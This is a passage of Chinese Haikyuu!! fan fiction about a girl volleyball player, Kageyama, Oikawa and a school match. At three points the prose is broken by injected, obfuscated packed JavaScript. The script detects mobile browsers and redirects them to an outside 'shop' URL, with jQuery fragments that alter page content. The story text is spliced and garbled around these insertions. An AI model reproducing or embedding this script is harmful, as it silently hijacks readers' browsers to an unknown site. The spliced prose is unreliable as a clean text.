日向翔阳绝望地想着，原本阳光的橘毛都快塌下去了。 看着日向这副样子，影山飞雄下意识想要教训他，结果又想起了雪村夜芙昨天的耳提面命，只好把手中的汽水往日向手里一塞，然后面无表情地说：“不客气。” 还有剩下两个要解决。 另外一边，山口一脸害怕地挡在了一脸嫌弃的月岛面前，看着影山飞雄一步步地靠近。 “不——客——气——” “……啊啊啊快放开阿月！” “好啦，不要闹了啊……” 泽村大地无奈地看着这群小鬼，“差不多要继续训练了啊。” 影山飞雄像八爪鱼一样终于逮到了月岛萤，往他怀里狠狠塞了一包小饼干后终于心满意足。 这样一来，雪村夜芙给他发布的任务就算完成了。 “喂！影山。”日向翔阳嘴里塞着从菅原那边拿来的糖果，薄荷西瓜味的糖果化在口腔里清凉又甜软，总之一边吃着影山的东西，再看影山确实顺眼了很多。 于是日向小心翼翼向影山发出邀请：“等会儿再陪我练习一下那个快攻吧？” 影山愣了一下，有些不自然地答应了下来。 主动被约训练什么的，对他来说还算是很新奇的事情。 雪村的计划果然起作用了吗？ “那个……日向。” “啊？” “……你的速度很快，其实可以做到很多一般人做不到的事情。” “……” “……？”好不容易鼓起勇气说出心里话的影山飞雄看到了日向的震惊脸。 “居然会说这样话……你肯定不是影山！不对你到底是谁啊？” “啊啊啊啊啊队长！！影山好像疯了啦！” 几个月后，北川第一体育馆，夏日的风里带着一丝燥热。 男子排球部这边的训练暂停，队员拿着水壶一边休息一边三三两两聚在一起聊着天。 “听说 IH 打得很激烈啊……” “是啊，完完全全打满三局了。” “所以果然还是传说中的及川前辈更厉害吧？影山飞雄还不是带着乌野输掉了IH嘛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986107|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但是让青城陷入苦战的话，总之影山前辈也已经很厉害了吧……” 女子排球部这边正在做着分散训练，一颗排球压着线落到地上，然后一路滚向墙边。 雪村夜芙追着球跑过去，球却被人先一步捡了起来。 栗子色松软的头发，长睫毛下方眼睛像小鹿一样圆圆的。 啊，笑起来会露出尖尖的小虎牙，是可爱系的男生诶。但是手腕上的腕带和额头上的吸汗带又很运动系。 总结：不认识。 雪村夜芙看见他的时候在心里这么想着，而且他还捡了自己的球，她于是试探着上前搭话。 “抱歉，这颗球……” “雪村同学！！”鹿目佑树两只手抱着雪村夜芙的排球，然后欢快地叫出了她的名字。 “你认识我啊？”雪村夜芙有些疑惑。 鹿目佑树疯狂点头，向着雪村夜芙伸出了手，“我是鹿目佑树！和影山前辈同一个排球部！” “雪村之前送给影山前辈的签名排球我也好想要……” 雪村夜芙愣了一愣，完全没想到对方是这么外向的人。 和影山飞雄简直是两个极端嘛。 不好意思地笑了笑，雪村夜芙说：“啊，那个啊。我也是拜托家人好不容易找来的。抱歉，可能没办法再送你一个了——” 鹿目佑树脸上露出一丝显而易见失望，但这不过是他以退为进的手段而已。 “原来是这么珍贵的礼物啊，没事的，让雪村同学为难是我不对。” 那就好——雪村夜芙眨了眨眼没说话，向鹿目佑树伸手要球。 鹿目乖乖把球递了过去，却没打算结束聊天，“之前我有看到影山前辈和雪村同学一起训练呢。但是好可惜，影山前辈毕业了，要不以后我来陪雪村同学训练吧？” 雪村夜芙：嗯？啊？！ 好……好自来熟的人啊？ “这好像——”不太好吧？ 雪村话还没说完，那边鹿目还在积极地游说：“因为我真的很崇拜影山前辈啊，IH 我翘了补习课去看的，真的一级厉害——” “我决定好了——明年要去乌野和影山前辈并肩作战！” 然后他的话题又转到了雪村身上：“在去到影山前辈身边之前，替他分忧也是我应该做的事！比如替他照顾和陪训雪村同学什么的。” “拜托啦雪村同学，让我陪你训练吧？” “影山前辈知道我这么帮他的忙，他一定会很高兴的。” 鹿目佑树双手合十对雪村说着这样的话，眼神看起来真的很真诚，真诚到雪村有些不敢拒绝。 所以他是影山在世界上唯一的迷弟了吧？ 甚至还要为了影山进乌野…… 啊，真是稀有物种。 雪村夜芙从他手中接过球，思考着该怎么帮影山稳住他唯一的粉丝，还没考虑好，男排那边就吹响了集合的哨子。 “啊，雪村同学，我要回去了哦。” “那我们说好了，晚点结束队内训练后，我们再一起加练。” 看着鹿目跑远的背影，雪村夜芙还有一点没反应过来。 诶？已经说好了吗？ 和影山飞雄的迷弟？ “但是有人一起加训也不是坏事……”雪村夜芙拿着球往回走，自言自语。 顺便把帮忙稳定粉丝情绪这件事算到了影山头上。 11. 不行，绝对不行 天微亮的时候，影山飞雄就已经到达了和雪村夜芙约定好的排球场。 因为在乌野打的第一场IH输掉这件事，他这几天的情绪一直都很低落，很想尽快见到雪村夜芙。 之前明明想着要超过及川前辈，想要成为比他更优秀的二传，结果 IH 最后那一球他还是彻底被看穿，彻底输掉了比赛。 输给及川前辈，输给青叶城西。 而当初很多从北川第一毕业的人都升学去了青叶城西，所以影山飞雄也确实输给了他们。 想到这个影山就有些烦躁。 要不是雪村那时候说过他没有做错，这次输掉 IH 一定会让他怀疑当初的自己是不是真的糟糕透了。 但是雪村说过他没做错，那他就一定没做错。 文化课学得比整个排球部的人加起来都好，雪村不可能会错。 对方是及川前辈也没用，及川前辈的功课也一般啊。 这么一想，影山飞雄更想见到雪村夜芙了。 度过了像“好几年一样漫长”的几天后，影山终于痛苦地熬到了周日，和雪村约好见面的日子。 他在早上六点半就到了这里，整整提前了两个半小时，一个人练习也时不时向着活动中心的大门张望。 于是雪村夜芙抵达球场的时候，看到的影山飞雄仿佛是一只被遗弃在大雨里淋湿的孤独小狗。 雪村夜芙：？ 她迟疑着放慢了脚步，抬起手腕看了好几眼电子表，确信自己提前了三分钟根本没有迟到啊。 所以为什么影山他要用那种哀怨的眼神看她啊？ 十分钟后，影山飞雄和雪村夜芙一起托球练习中。 排球在两个人的手掌之间来回跃动，两人你一句我一句的说着话。 确切来说是雪村夜芙半是逼迫半是威胁地让影山飞雄老实交代。 “诶？所以是因为输了球这么不开心啊？” “其实能打进半决赛已经……” 雪村夜芙原本想说“已经很好了”这种话。 想她迄今为止的比赛成绩，因为没有专门的教练指导，北一女排的比赛成绩始终没什么起色，常年在县内二十名开外。 对她来说，打进半决赛就是已经很好了，但是对影山来说，这个成绩却远远不够了。 想到影山飞雄对他自己的要求肯定高得吓人，雪村夜芙还是选择换了另一个话题。 “那个及川前辈真的那么厉害吗？” 雪村夜芙是在及川彻毕业之后才进入北川第一的，还从来没见过及川打球。 “嗯。及川前辈不仅作为二传很厉害，其他方面也完全不逊色。” “他的发球很厉害……我就是跟他学的。” 影山飞雄一边托球一边说着，毫不隐瞒地承认了及川的能力。 甚至说着说着忽然觉得，或许在这个阶段，他确实还没有达到能够打败及川彻的水平。 “诶？他还教你发球吗？那他人很好嘛……”雪村夜芙随口说着。 而现在影山又在教她发球，所以及川彻算是她的……师祖师公……什么的？ 影山飞雄听到雪村夜芙夸及川，忽然间就有些别扭，没有控制好力道，不小心托了一个高球。 雪村夜芙下意识追了过去。 助跑、起跳，将球朝着影山扣了回去。 “啊，帅气诶！”才打完，一个稚嫩的声音响起。 雪村夜芙往出声的方向看去。 原来是一个脸上带着搞怪面具的小男孩刚好路过球场，又刚好看到了她的击球瞬间，轻而易举就被她折服了呢。 雪村笑弯了嘴角，向着小朋友眨了眨眼睛，wink以示感谢。 结果这下可好，小朋友直接不走了，捧着脸坐在场外开始看着雪村训练。 影山飞雄眼神不算友好地看了看他，收获后者一个鬼脸。 而不远处，刚刚买完果汁的及川彻打了个喷嚏，心里想着“是谁在想着本帅哥啊”这种话，结果一转身才发现——啊，好像把姑姑刚托付给他的侄子弄丢了。 怪不得忽然清静了呢。 及川彻叹了口气，认命地开始找人。 “击球的时机太早了，那不是最佳位置。” 影山飞雄说着，正要给出和上一个相同的球，帮着雪村夜芙找到最理想的击球时机。 雪村夜芙用手擦了擦额头的汗，专心准备着迎接即将向她而来的下一球。 然而这时—— “哦呀，我们小飞雄居然还会教人吗？” 上扬的声调，些许嘲讽的语气，还有那个奇怪的称谓。 雪村夜芙下意识看了过去。 很高的个子，深褐色的头发似乎精心打理过，还有张看着就很受女孩子欢迎的脸。 对方也在看她。 “及、及川前辈？” 影山飞雄抱着球有些惊讶地问：“前辈你怎么会在这？” 原来他就是及川彻啊，雪村夜芙心想着。 见到本人以后，雪村才明白为什么及川毕业了这么久，校园里却还总是有人提及他。 连影山都还要暂避锋芒的球技，和这么一张伟大的脸。 “这个活动中心是小飞雄你开的吗？我来这里要先通知你吗？” 及川彻的目光从雪村夜芙身上勉强离开了一秒，嫌弃地落到了影山飞雄身上。 啧，性格好像很恶劣啊，尤其是对影山。雪村夜芙默默在心中分析着。 “啊？不是我家开的。”作为后辈的影山飞雄对及川还是很尊重的，而且也根本没有听出来及川话里的刺，老老实实回答这种一听就很无厘头的话。 及川彻瞪了影山一眼，懒得再和他搭话，却从他手里拿过了那个排球。 “看好了，托球是这个样子才对——” 及川彻向上扔出那颗球，往旁边走了几步后将它往雪村夜芙的方向托了过去。 高度、速度、角度……是目前的雪村夜芙最适合去打的那种托球。 “啪”的一声，雪村夜芙就像及川彻分析的那样做到了，并将那颗球打到了影山飞雄不远处的落点。 影山飞雄愣了愣，看向雪村的眼神里带上了些微的委屈。 雪村夜芙眨了眨眼，看了看自己的手心，又看了看影山，最后看了看及川。 故意引导她把球往影山身边打去什么的…… 她怀疑这也是性格恶劣又厉害到可怕的及川前辈的预谋之一。 “怎么样？”及川彻忽然靠她很近，用有些暧昧的声音对雪村说着：“要不要把我这可爱的学弟踹了，我来帮你训练呢？” “啊，好像当着小飞雄的面说这些不太好呢……所以交换 Line，然后我们线上约时间吧?” 及川彻看着雪村夜芙，话却是说给影山听的，“我这可爱的学弟真是太善解人意了，为了让我进军全国，还是‘故意’输给了我呢。” 影山飞雄皱了皱眉头，毫无攻击力地辩驳着：“我没有故意输——” 雪村夜芙这时候已经确认了，果然这个及川前辈对影山飞雄的恶意不小啊，几乎就是针对着他来的。 而影山那个笨蛋之前还在那说什么及川前辈很厉害很努力之类的，丝毫没有发觉对方的恶意。 烦人，真是笨死了。 酝酿并扬起了一个灿烂的笑脸，雪村夜芙抬头望着及川彻说：“抱歉啊及川前辈，我没有Line这种……很想交换但是做不到呢。” 及川彻脸上的笑容微微凝固。 “对了，及川前辈已经要进军全国了吗？听说县内决赛过两天才打吧？” “但是前辈都这么说了，我当然看好你哦……” “前辈怎么可能会输呢？毕竟输掉的话……” 雪村笑得很甜，看着及川彻的眼睛说最后一句：“就没有下一次 IH 再赢回来了哦？” 周围好像忽然寂静了下来，及川彻帅气的脸上出现了裂痕。 那个带着面具的小男孩在边上津津有味地围观了一会儿，看到这终于心满意足：“略～笨蛋及川！” 嘲讽得恰到好处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986108|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪村夜芙冲他再次wink以示感谢。 及川彻仔细打量着面前的少女，从她甜美的笑容里捕捉到了一丝敌意。 不仅完全没上当，而且在完全看穿他之后，选择用这种方式维护影山那个笨蛋。 两人各自带着虚伪的面具，又你来我往相互试探了几句。 只剩下影山在一旁摸不到头脑，完全插不进去。 怎么……他俩聊得还怪好的吗？ 影山飞雄忍不住在心里这么想着，明明才第一次见，关系就这么好了啊？ “真是很高兴认识你啊，及川前辈。” “您还有事要忙是吗？好可惜，本来想和您再多请教的呢。” 这边，雪村夜芙装出一副遗憾的样子，然后毫不留情地赶人。 “是啊，真是太遗憾了呢。” 及川彻从侄子手里接过那颗球，还给了雪村夜芙，手指无意间擦过雪村的掌心。 “不过总会有机会的，雪村同学。”及川彻笑眯眯回答着。 好不容易送走了及川，雪村夜芙松了口气。 看见一旁还在目送及川彻的影山飞雄，雪村简直气不打一处来，态度恶劣道：“看什么啊，继续练球啊。” 影山飞雄回过头，有些闷闷地说：“你和及川前辈说话的时候明明不是这样的。” 笑得很好看，语气也温柔得多。 怎么和他说话就凶巴巴的。 雪村夜芙叹了口气，痛苦地扶额。 夜幕降临，影山飞雄磨蹭了很久才和雪村夜芙告别。 这次分开让影山觉得有些失落。 为了备战春高，找回在 IH 上丢失的尊严，整个乌野的训练都更加紧张，并且准备合宿和集训。 和雪村夜芙的训练就要暂时停下来了。 走之前，影山去借了纸笔，歪歪扭扭写下了自己的 Line 和电话号码递给雪村，然后结结巴巴地说：“要是有练习到不明白的地方……打给我。” 因为雪村成一直没有允许雪村夜芙在初中就用手机，他们之前迟迟没有交换联系方式。 雪村收起纸条，点了点头，“你放心训练你的啦。” “……” 察觉到影山的情绪有些低落，雪村忍不住上前拍了他一下，“春高，赢给我看啊！” 要不然下次再遇到及川彻，那位肯定又有话要讲了。 “好啦，再见吧。” 雪村夜芙一个人走在回家的路上，街边的霓虹灯闪闪发亮。 影山飞雄是一个对排球无比认真的人，雪村也确实相信他迟早会站到全国的比赛场上的。 但是……她呢？ 雪村夜芙心想着，她也得加倍努力才行吧。 完全，完全不想被影山远远甩在身后。 北一的女排确实是一支弱旅，她的比赛经验也还远远不足。 但是还是要全力以赴，让这三年的努力不至于太浪费。 她也要继续加油啊。 活动中心不远处，影山飞雄回家的必经之处，及川彻靠着树等在那里。 影山看到及川后下意识慢下了脚步，犹豫着开口。 “及川前辈，春高的时候——” “春高的时候一定会打败我是吗？” 及川彻挑了挑眉替他把话说完，然后继续道：“仅仅是简单说这样的话也太无聊了。” “不如这样，要是春高输给我的话，就和你的小女朋友分手怎么样？” 影山飞雄这种人，是天生的排球天才也就算了，结果整个人迟钝成这样，凭什么还有那样可爱聪明的女孩子护着啊？！ 及川彻觉得很不公平，他决定拆散这对让他看了就来气的小情侣。 影山呆住。 女、女朋友…… 张了张嘴，影山飞雄否认的话马上要说出口的时候，忽然抓住了及川这句话里的重点。 分手？！ 影山飞雄一瞬间清醒了。 “不行。” 和雪村夜芙分开什么的，绝对不行。 12. 另一座体育馆 “哇，学姐你暑假要去海边度假吗？” “是啊，等这学期的考试结束，就可以彻底放松了啊。” 北一的体育馆里，女子排球部的大家一边收拾着东西，一边聊着暑期计划。 雪村夜芙把一颗颗滚落在外的排球捡到框里，听到她们说起假期的安排，心念一动，凑了过去试探着问出了自己的想法。 “大家，暑期要不要一起打训练赛，或者一起看比赛录像带呢？” 雪村夜芙尽可能轻松地说着，脸上挂上了甜美的笑容：“可以一起来我家看录像带哦！” 正在热络聊天中的女生们听见她的话，纷纷停下了原本的话题看向了她，但是并没有人表现出赞同。 气氛有些尴尬，雪村夜芙的笑容也渐渐淡了下去。 “抱歉啊，雪村学姐。因为已经早早订好了机票，可能不太行……” 终于，二年级的一名女生首先打破了僵局，但是说出来的却也是拒绝的话。 “啊，没关系没关系！”雪村夜芙连忙笑着回答。 “我也有了别的安排……” “实在是不好意思……” “……” 雪村的提议被所有人拒绝了。 强撑着和大家告别，雪村夜芙简直不知道自己后来是怎么走出体育馆的。 可是如果没有办法复盘失败原因，没有训练赛，没有教练指导，想要进步简直就是天方夜谭。 就算影山再帮她练一百万次发球，也只是徒劳吧？ 雪村夜芙忽然就迷茫了。 她到底是在做什么啊？ 一直一直，她都在当着球场上的败者，她有时候也快要坚持不下去了。 明明一开始只是想当作一个念想，作为对哥哥以及妈妈思念的寄托，但是逐渐喜欢上排球以后，对于输掉的不甘心，对于想要成功的渴望，都渐渐开始折磨她。 雪村夜芙脑子很乱，在去取单车的路上，忽然无助地蹲了下来，把头埋进了臂弯。 树上的蝉鸣，好像说着这应该是一个美好的夏季。但是对雪村来说，至少这一刻并不是。 “雪村同学。” 鹿目佑树的声音忽然在她的头顶上方响起。 “你今天是不是又忘记等我了啊？” 男孩子圆圆的眼睛笑成了一轮弦月，虽然说着埋怨的话，语气却一如既往的开朗：“不是说好了，我们的目标是全国大赛嘛！” 鹿目佑树跟着蹲下了身，替雪村拍了拍裙摆上不小心沾上的灰尘。 “所以一天都不能松懈地继续去训练吧？” “一年、两年、三年，都不停地去训练的话，说不定等到进入高中，二年级或者三年级的时候，就可以站在全国观众面前了哦。” “世界不会辜负努力的人的，但是世界需要花一点时间从人群里找到你啊。” “所以，给世界一点时间，我们再坚持一下好吗？” 之所以忽然这样说，是因为雪村夜芙被女排所有人拒绝的时候，鹿目佑树全都看在了眼里。 他当然明白雪村现在的那种感受，他也曾站在替补席上看着别人在场上光芒万丈。 雪村夜芙红着眼睛抬起头，沉默了一会儿，到底还是抓住了鹿目佑树伸向她的手，缓缓站了起来。 她真是太糟糕了，蹲在这里有些不像样子了。 “啊，我们的目标是什么来着，我忽然忘记了？” 看着雪村红着脸的样子，鹿目佑树刻意忽略她的尴尬，笑着问雪村夜芙，微微歪着头举起了自己的双手。 “全国大赛啦！”雪村夜芙抿了抿唇，终于也努力笑了出来，配合地和他击掌。 雪村夜芙对着鹿目佑树，难得在外人面前不好意思了起来。 是啊，一切都才刚开始呢，要难过什么的也太早了点。 明明这些道理说给别人听的时候一副很专业的样子，原来自己也那么容易就陷入了这种负面的情绪。 于是在蝉鸣之中，每个人都用不同的方式度过了盛夏的光阴。 雪村夜芙经常在活动中心的排球场上独自训练，经常竹取和黑川会来和她一起度过一天。 鹿目佑树是一个成长很快的主攻手，但却会时不时跑来替她托球。 更多的时候，雪村夜芙一个人独自抱着球训练，想象着影山飞雄又取得了怎样的进步。 他一定很忙碌，但是也一定很有收获。 同一时间，影山飞雄在琦玉的森然高校集训，几乎把所有精力都放在了排球上。 只是在一天当中为数不多休整的时候，比如在床铺上躺下直到入睡之间那几分钟，他会一刻不离地握着手机，期待一串电话号码。 雪村是已经睡了吗？为什么没有给他打电话。 有些失落地这么想着想着，影山飞雄就睡着了。 就这样一天又一天，盛夏也过去了。 十月的尾声，春高预选赛上乌野打败青叶城西，即将和白鸟泽进行最终对决的消息很快传遍了整个宫城。 而春高男排县决赛的时间，又恰好和初中部女排的比赛时间撞在了一起。 说起来，在学业和赛事安排的双重压力之下，雪村夜芙都没有完完整整看过影山飞雄一场比赛，有时候也觉得有些遗憾。 “比赛的时候一定要注意安全啊。”雪村成交代着，停好了车以后，又亲自将雪村夜芙送到了体育馆门口。 “放心啦爸爸，打排球才不会死人呢。” “不可以说这样的话。”雪村成无奈地纠正，”真是的啊，是跟谁学的？你哥吗？看我下次不揍他……” 雪村夜芙笑着含糊了过去，然后推着雪村成说着：“爸爸，你的会议时间马上要到了吧，快点回公司啦。” 雪村成犹豫了一下，说着：“夜芙，爸爸也可以留下来看你打球……” “不行，那个会议这么重要！”雪村夜芙拒绝了，“您明明说过我们都要管好自己的事情啊！” “再说这才是小组赛……等我打进决赛，到时候不管怎样您都要来看啊！” 雪村成无奈地摸了摸雪村夜芙的头，说着：“嗯，到时候爸爸一定去看。” 告别了雪村成，雪村夜芙独自走进体育馆的时候，最后回头看了一眼。 外面的树叶落了很多，不知不觉已经深秋了。 而隔着两个场馆，乌野和白鸟泽的比赛会在半个小时以后开始。而她的比赛则在一个小时后开始。 她来不及过去帮影山加油了。 “真好啊……”雪村夜芙想着，什么时候她也能作为强队的队员，和厉害的对手打球呢？ 场馆里，北一女排的大家都还没有来，而因为和春高撞了时间，这里的观众也几乎没有多少。 雪村夜芙一个人安静地先开始热身。 半个多小时后，不远处的场馆传来报幕的声音，临时被抽调来带女排打比赛的老师才姗姗来迟。 她们还有两名正选队员没有到，只好让一年级的替补队员临时顶上。 雪村夜芙将护膝的位置往上拉了拉，又把鞋带用力系紧。 “要上了哦。” 看着面对比赛都有些慌乱的队友们，雪村夜芙努力笑着安抚。 球场上。 “抱歉！救下球！” 雪村夜芙专注地看着球的位置，找准了时机，助跑、起跳、击球。 拿下一分。 “好球！”北一的女孩子们欢呼着过来拥抱她，雪村夜芙也笑了起来。 这一局她们有希望赢。 北一女排的二传努力把更多的球传给了雪村夜芙，雪村也很努力地接连拿分。 她不知疲倦地起跳扣球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986109|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，时机、角度……雪村都很努力去找得分的机会。 又拿下一分后，裁判吹哨。 21：25。 雪村夜芙感觉到自己的呼吸有些急促，因为高度专注体力也接近极限。 而在不知不觉当中，她们已经先拿够了分数，赢下了第一局。 “赢了，居然赢了吗！” “太好了……” 队员们纷纷惊喜地互相击掌，雪村夜芙也加入其中。 再拿下一局，她们就可以进入下一轮了。 在第二场开始前，她们这边还在兴奋地讨论着最后那球，而区别于北一队内的情绪高涨，对手古川西的队内气氛则比较凝重。 她们是一支没有三年级参与的队伍，队伍的完成度还相对较低。 “盯住那个‘3’号就可以了。”古川西的教练把队员聚到了一起，制定着接下去的策略，“北一的进攻很单一，基本都靠 3 号的直接进攻拿分，再不然就是你们自己的失误。” “所以打起精神来，不要出现重大失误的同时，盯紧 3 号进行拦网，拿下接下去两场！” 古川西的队员们认真点头，互相加油打气。 下一场很快开始。 雪村夜芙渐渐感觉到了压力。 她的每一次移动，每一次击球，古川西都有大于两个人做出反应。 这样的情况下，她的击球很多都被对方接到，甚至被直接双人拦网。 而被拦网的球，她们这边的自由人根本无力去救。 “砰！”排球再次落地，雪村的击球没能得分，古川西拦网得分。 压力让她有些无法喘息。 第二场就这样毫无悬念的输掉了。 而第三场才过了十分钟，分差已经越来越大，雪村夜芙有些恍惚。 再一次丢球后，只剩下一分，她们就要输掉比赛了。 北一这边的队内气氛已经降到了冰点，几乎所有人都放弃了。 雪村夜芙抬头去看球场之外，原本就寥寥无几的观众又走了几个。 这个场上，几乎没有人在意她这一次的输球。 只剩她自己一个人痛苦地煎熬着。 不远处的另一个体育馆传来巨大的欢呼声，还有应援的声音。 或许刚好就是乌野和白鸟泽的比赛。 影山飞雄现在一定是场上的焦点吧？ 雪村夜芙想着，如果是他的话，现在会怎么做呢？ 只剩……一分了。 哨声吹响，最后这一球开始了。 北一的队员无精打采地归位，而古川西的发球士气高涨。 排球在空中从对面的半场急速飞来，北一的自由人勉强接到了球，但球路却是向着场外不可遏止而去的。 如果是影山飞雄，他一定能够…… 仿佛如梦初醒，雪村夜芙忽然感觉到了不对。 这里没有影山飞雄。 她不是影山，不是天才，不是从小学之前就开始打排球的专业选手。 她只是雪村夜芙，在这个她的球场上，要是不想输，或者至少输得不那么难看的话，能做到的也只有她自己。 看着那颗向着场外而去的球，北一的所有队员都放弃了去追。 所有人都觉得这一切已经尘埃落定的时候，雪村夜芙忽然从球场的另一角，向着那颗球飞奔而去。 “球还没有落地，比赛还没有结束……” 雪村心里想着这样的话，眼里除了那颗球以外再也看不见别的。 她用尽全力去追，甚至冲破了用作挡板的广告牌。 却在下一刻失去平衡。 摔在地上的那一刻，那颗球落地了，裁判吹响了哨声，而不远处的另一座体育馆里传来欢呼声。 属于雪村夜芙初中排球的最后一场比赛，结束了。 13. 学姐，你拿到驾照了吗？ “啊，我没事的啦，你们先回去吧？” 雪村夜芙乖乖地坐在体育馆休息室的位置上，面对队友和带队老师的关心，表现出了完全没事的样子。 手掌向内放在腿上，手腕处有她藏起来的淤青。 “雪村同学，你真的没有事吗？”临时过来带队的老师紧张地问着。 雪村夜芙肯定地点了点头。 想了想，她又咬着牙站起来跳了两下，脸上的笑容差点没有维持住：“看——真的……真的没有事，老师你不用担心。” 带着黑框眼镜的老师松了口气，放下心来。 “那老师送你回去吧？” “啊？嗯！那个……我爸爸晚一些会顺路过来接我回家，我在这里坐着等就好……” 耐心地回应完了大家的关心，等到所有人一个个都离开，雪村夜芙身边终于空了出来。 她扬起的笑脸一下子垮了。 刚才跳得那两下真的很痛啊。 被袜子遮住的地方，左脚的脚踝处也微微肿起。 但是她不想去医务室，也不想再和大家继续在这里耗时间下去…… 尽快赶过去的话，说不定还能赶上乌野和白鸟泽的比赛。 雪村夜芙深吸一口气，红肿的脚再次踩到了地上。 脸上的表情失控了一秒，雪村夜芙努力保持着正常的样子，一步步向着不远处的另一个体育馆走去。 人群欢呼的声音越来越近，踏入其中的时候，球场上方耀眼的灯光让雪村有些睁不开眼睛。 像是……忽然进入了另一个世界。 让眼睛适应了好一会儿，然后找到一个人稍微少些的角落，雪村远远地往球场上看去。 乌野 vs 白鸟泽， 2 败 2 胜，而现在正在进行着第五局比赛。 那样强大的白鸟泽，在乌野的进攻之下，居然是一副勉强应对的样子。 作为县决赛，这场比赛是实时转播的。 而影山飞雄的名字被现场的解说长久地挂在了嘴边，对他球技的赞叹几乎在每一分钟都出现。 太好了，雪村夜芙心想着。 被那么多人看见，被那么多人肯定着的影山飞雄，再也不会是当初那个把头埋进衣服里的鸵鸟了。 他在球场上闪闪发光，再也不会有人质疑他的托球。 “影山飞雄又给出了一个完美的托球！已经是第五局了，居然还能有这样的精准度吗？” “二次进攻？！在白鸟泽已经几乎遗忘了这招的时候，乌野的二传再次展现了他的实力！” “这样的选手，放眼全国也是佼佼者的存在啊……” 排球在场上跃动着。 而那个背号为9，眼中只有排球的少年，是碰球最多的人，是发起进攻的人，是队伍中的大脑，是表现近乎完美的影山飞雄。 看着看着，雪村夜芙忽然有些分不清自己的情绪了，这一刻她对影山参杂了太多的感情。 最开始的同情、好奇和向往，后来对他长久的依赖。 然后现在，为如此耀眼的他而感到骄傲的同时，她也无法控制的羡慕和嫉妒。 雪村站在观众席的高台上向下看着影山，却仿佛是在抬头仰望着他，感到有些……触不可及。 “乌野再得一分！” “又是影山飞雄的托球……” 场上的球况每秒都变幻莫测，而影山飞雄却将每一球的过去和将来都看在了眼中。 已经和他相互交换了信任的乌野队员，借助影山的精准判断，也打出了许多意想不到的配合：自由人的托球、多位置的全体进攻、还有那个怪物一般的快攻。 那个发色像橘子汽水一样的矮个子少年，居然拥有那么强大的跳跃能力——影山过去不被理解的托球对他而言却是最强大的武器。 甚至连牛岛若利的球都被拦下——保守而高傲的巨大白鸟，在成群结队的乌鸦面前也沦为了猎物。 场上的欢呼一阵接着一阵，雪村夜芙忽然想起自己在输球那一刻就听见过这样的声音，是这个体育馆里的所有人都在为耀眼的他们喝彩的声音。 “原来是乌野啊……”雪村轻轻地说着。 她想起一年前，影山输掉初中最后那场比赛的时候，她带他离开球场后说过的话—— “你一定会遇到一个最好的队伍，成为最好的二传手的。” “在未来的某个瞬间，转机一定会出现。” 原来影山飞雄的转机，就在乌野啊……乌野就是他证明自己是最好的二传的地方。 雪村夜芙记得自己还说过“我也会的”这样的话。 所以，她的转机又在哪里呢？ 她要在什么时候，在什么地方，才能成为那样的人呢？ 最后一球落地了。 “乌野！！” “乌野打败了白鸟泽，成为了这次县决赛的冠军！” 解说人员情绪激动地宣布了场上的结果，将雪村夜芙的思绪拉了回来。 所有的观众都在为这场精彩的比赛起立鼓掌，雪村夜芙彻底被淹没在了人群身后。 愣了一愣，雪村夜芙也红着眼角用力鼓着掌，但整个人却向着出口后退而去。 她决定提前离开，出于某种害怕。 影山飞雄结束了这场酣畅淋漓的战斗，在被队友簇拥着的时候，忽然看向了观众席。 他当然找不到雪村夜芙的身影。 于是胜利带给他的喜悦，在瞬间被冷水浇灭了大半。 就算迟钝成那样，当心里的愿望无比强烈的时候，笨蛋也是能够明白自己的心意的。 好想……好想让雪村看见自己。 如果这种时候不能有她在身边的话，不知道为什么，影山会觉得心被刺痛。 影山飞雄有些恍惚了。 体育馆外，雪村用受伤的脚踝尽可能快步地走着，只是在下台阶的时候，左脚还是因为疼痛而瞬间不稳。 要不是身边忽然伸出的那双手，她又要和地面亲密接触了。 雪村夜芙扶着那双手重新站稳，脸上赧然地不停道谢，然后回头看去。 “谢谢，抱歉添麻烦了……” 看到身后的人的时候，雪村夜芙愣了一愣，然后试探着叫道：“樱井学姐？” “脚也受伤了？” 樱井月抓着雪村夜芙的手腕，看到了她内侧的淤青，并且在之前就留意到了雪村夜芙有些怪异的左脚。 “啊……嗯……”差点摔跤被看到，手腕也被抓着，雪村夜芙已经没办法否认了。 樱井月皱了皱眉头，不知道说她什么好。 她看了北一女排的比赛，后来又跟着雪村去了春高的场馆。 最开始樱井并没有打算出现在雪村夜芙面前，毕竟她们之间算不上多愉快。 一年级时候的雪村毫无排球基础，曾经被她拒绝加入排球部。 而后来凭借自己的能力进入排球部的雪村，为了让同样没有基础的女生入部，对着身为副部的她认真反驳了这种做法。 那时候的雪村夜芙，坚持着“应该由自己决定是否加入排球部”这样的说法。 